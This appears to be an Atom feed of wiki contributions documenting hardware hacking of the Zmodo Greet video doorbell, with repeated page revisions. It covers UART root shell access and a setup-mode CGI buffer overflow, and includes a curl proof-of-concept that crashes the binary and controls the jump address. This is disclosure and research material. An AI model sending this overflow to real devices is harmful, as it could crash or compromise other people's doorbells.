https://wiki.exploitee.rs/api.php?action=feedcontributions&feedformat=atom&user=GredLeaderExploitee.rs - User contributions [en]2026-05-07T06:41:25ZUser contributionsMediaWiki 1.45.0-alphahttps://wiki.exploitee.rs/index.php?title=File:Zmodo_Greet_UART.JPG&diff=2723File:Zmodo Greet UART.JPG2017-08-02T06:58:41Z<p>GredLeader: GredLeader uploaded a new version of &quot;File:Zmodo Greet UART.JPG&quot;</p>
<hr />
<div></div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=File:Zmodo_Greet_UART.JPG&diff=2722File:Zmodo Greet UART.JPG2017-08-02T06:58:10Z<p>GredLeader: GredLeader uploaded a new version of &quot;File:Zmodo Greet UART.JPG&quot;</p>
<hr />
<div></div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=File:Zmodo_Greet_UART.JPG&diff=2721File:Zmodo Greet UART.JPG2017-08-02T06:57:49Z<p>GredLeader: GredLeader uploaded a new version of &quot;File:Zmodo Greet UART.JPG&quot;</p>
<hr />
<div></div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=File:Zmodo_Greet_UART.JPG&diff=2720File:Zmodo Greet UART.JPG2017-08-02T06:56:50Z<p>GredLeader: GredLeader uploaded a new version of &quot;File:Zmodo Greet UART.JPG&quot;</p>
<hr />
<div></div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=Zmodo_Greet&diff=2719Zmodo Greet2017-08-02T06:50:00Z<p>GredLeader: /* UART */</p>
<hr />
<div>__FORCETOC__<br />
{{Disclaimer}}<br />
This page will be dedicated to a general overview of descriptions and information related to The Zmodo Greet<br />
[[File:Zmodo greet.JPG|70px|left|thumb]]<br />
[[Category:Cameras]]<br />
<br />
== Purchase ==<br />
You can purchase [https://www.amazon.com/Zmodo-Greet-Smart-Video-Doorbell/dp/B014A6M4ZI/ref=as_li_ss_tl?ie=UTF8&qid=1501631152&sr=8-2&keywords=zmodo+greet&linkCode=ll1&tag=exploiteers-20&linkId=0c97588b3859a323c9d44338e9cd9374 The Zmodo Greet on Amazon].<br />
<br />
== About ==<br />
The Zmodo Greet is a WiFi doorbell with a camera and two way audio communication.<br />
<br />
== Power ==<br />
Powering this board is a bit of a challenge. It expects to be connected to a 10-36V AC source in series with a doorbell chime. Just connecting a DC source to the input doesn't work. We found the best method is to solder a connection to the DC side of the rectifier and supply a low DC voltage there (we used a 9V battery).<br />
<br />
<gallery><br />
File:Zmodo Greet Power.JPG<br />
</gallery><br />
<br />
== UART ==<br />
The main board has a UART broken out to two test points on the back. During boot you can use this UART to get a uBoot shell. Once the device has finished booting the UART presents a root busybox shell. The UART runs at 115200 baud.<br />
<br />
<gallery><br />
File:Zmodo_Greet_UART.JPG<br />
</gallery><br />
<br />
== Software Vulnerabilities ==<br />
While the Zmodo Greet is in setup mode it hosts a WiFi network and accepts an HTTP request to configure the device. This HTTP request is handled by a CGI binary that has a serious buffer overflow vulnerability.<br />
<br />
If you connect to the setup network, you can use this curl command to cause the binary to crash:<br />
<br />
<nowiki><br />
curl http://<DEVICE_IP>/cgi-bin/output.cgi\?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbb<br />
</nowiki><br />
<br />
This causes the process to jump to the address 0x61616160 ("AAA`" in ASCII). With some development this could be made into a remote code execution attack. The device does have ASLR enabled, so it will take some work to make a viable payload.<br />
<br />
<br />
<gallery><br />
File:Zmodo Greet Buffer Overflow.png<br />
File:Zmodo Greet aaaaaa.png<br />
</gallery></div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=Zmodo_Greet&diff=2718Zmodo Greet2017-08-02T06:31:43Z<p>GredLeader: </p>
<hr />
<div>__FORCETOC__<br />
{{Disclaimer}}<br />
This page will be dedicated to a general overview of descriptions and information related to The Zmodo Greet<br />
[[File:Zmodo greet.JPG|70px|left|thumb]]<br />
[[Category:Cameras]]<br />
<br />
== Purchase ==<br />
You can purchase [https://www.amazon.com/Zmodo-Greet-Smart-Video-Doorbell/dp/B014A6M4ZI/ref=as_li_ss_tl?ie=UTF8&qid=1501631152&sr=8-2&keywords=zmodo+greet&linkCode=ll1&tag=exploiteers-20&linkId=0c97588b3859a323c9d44338e9cd9374 The Zmodo Greet on Amazon].<br />
<br />
== About ==<br />
The Zmodo Greet is a WiFi doorbell with a camera and two way audio communication.<br />
<br />
== Power ==<br />
Powering this board is a bit of a challenge. It expects to be connected to a 10-36V AC source in series with a doorbell chime. Just connecting a DC source to the input doesn't work. We found the best method is to solder a connection to the DC side of the rectifier and supply a low DC voltage there (we used a 9V battery).<br />
<br />
<gallery><br />
File:Zmodo Greet Power.JPG<br />
</gallery><br />
<br />
== UART ==<br />
The main board has a UART broken out to two test points on the back. During boot you can use this UART to get a uBoot shell. Once the device has finished booting the UART presents a root busybox shell.<br />
<br />
<gallery><br />
File:Zmodo_Greet_UART.JPG<br />
</gallery><br />
<br />
== Software Vulnerabilities ==<br />
While the Zmodo Greet is in setup mode it hosts a WiFi network and accepts an HTTP request to configure the device. This HTTP request is handled by a CGI binary that has a serious buffer overflow vulnerability.<br />
<br />
If you connect to the setup network, you can use this curl command to cause the binary to crash:<br />
<br />
<nowiki><br />
curl http://<DEVICE_IP>/cgi-bin/output.cgi\?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbb<br />
</nowiki><br />
<br />
This causes the process to jump to the address 0x61616160 ("AAA`" in ASCII). With some development this could be made into a remote code execution attack. The device does have ASLR enabled, so it will take some work to make a viable payload.<br />
<br />
<br />
<gallery><br />
File:Zmodo Greet Buffer Overflow.png<br />
File:Zmodo Greet aaaaaa.png<br />
</gallery></div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=File:Zmodo_Greet_aaaaaa.png&diff=2717File:Zmodo Greet aaaaaa.png2017-08-02T06:30:59Z<p>GredLeader: </p>
<hr />
<div></div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=File:Zmodo_Greet_Buffer_Overflow.png&diff=2716File:Zmodo Greet Buffer Overflow.png2017-08-02T06:29:24Z<p>GredLeader: </p>
<hr />
<div></div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=Zmodo_Greet&diff=2715Zmodo Greet2017-08-02T06:28:28Z<p>GredLeader: /* Software Vulnerabilities */</p>
<hr />
<div>__FORCETOC__<br />
{{Disclaimer}}<br />
This page will be dedicated to a general overview of descriptions and information related to The Zmodo Greet<br />
[[File:Zmodo greet.JPG|70px|left|thumb]]<br />
[[Category:Cameras]]<br />
<br />
== Purchase ==<br />
You can purchase [https://www.amazon.com/Zmodo-Greet-Smart-Video-Doorbell/dp/B014A6M4ZI/ref=as_li_ss_tl?ie=UTF8&qid=1501631152&sr=8-2&keywords=zmodo+greet&linkCode=ll1&tag=exploiteers-20&linkId=0c97588b3859a323c9d44338e9cd9374 The Zmodo Greet on Amazon].<br />
<br />
== About ==<br />
The Zmodo Greet is a WiFi doorbell with a camera and two way audio communication.<br />
<br />
== Power ==<br />
Powering this board is a bit of a challenge. It expects to be connected to a 10-36V AC source in series with a doorbell chime. Just connecting a DC source to the input doesn't work. We found the best method is to solder a connection to the DC side of the rectifier and supply a low DC voltage there (we used a 9V battery).<br />
<br />
<gallery><br />
File:Zmodo Greet Power.JPG<br />
</gallery><br />
<br />
== UART ==<br />
The main board has a UART broken out to two test points on the back. During boot you can use this UART to get a uBoot shell. Once the device has finished booting the UART presents a root busybox shell.<br />
<br />
<gallery><br />
File:Zmodo_Greet_UART.JPG<br />
</gallery><br />
<br />
== Software Vulnerabilities ==<br />
While the Zmodo Greet is in setup mode it hosts a WiFi network and accepts an HTTP request to configure the device. This HTTP request is handled by a CGI binary that has a serious buffer overflow vulnerability.<br />
<br />
If you connect to the setup network, you can use this curl command to cause the binary to crash:<br />
<br />
<nowiki><br />
curl http://<DEVICE_IP>/cgi-bin/output.cgi\?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbb<br />
</nowiki><br />
<br />
This causes the process to jump to the address 0x61616160 ("AAA`" in ASCII). With some development this could be made into a remote code execution attack. The device does have ASLR enabled, so it will take some work to make a viable payload.</div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=Zmodo_Greet&diff=2714Zmodo Greet2017-08-02T06:27:07Z<p>GredLeader: /* Software Vulnerabilities */</p>
<hr />
<div>__FORCETOC__<br />
{{Disclaimer}}<br />
This page will be dedicated to a general overview of descriptions and information related to The Zmodo Greet<br />
[[File:Zmodo greet.JPG|70px|left|thumb]]<br />
[[Category:Cameras]]<br />
<br />
== Purchase ==<br />
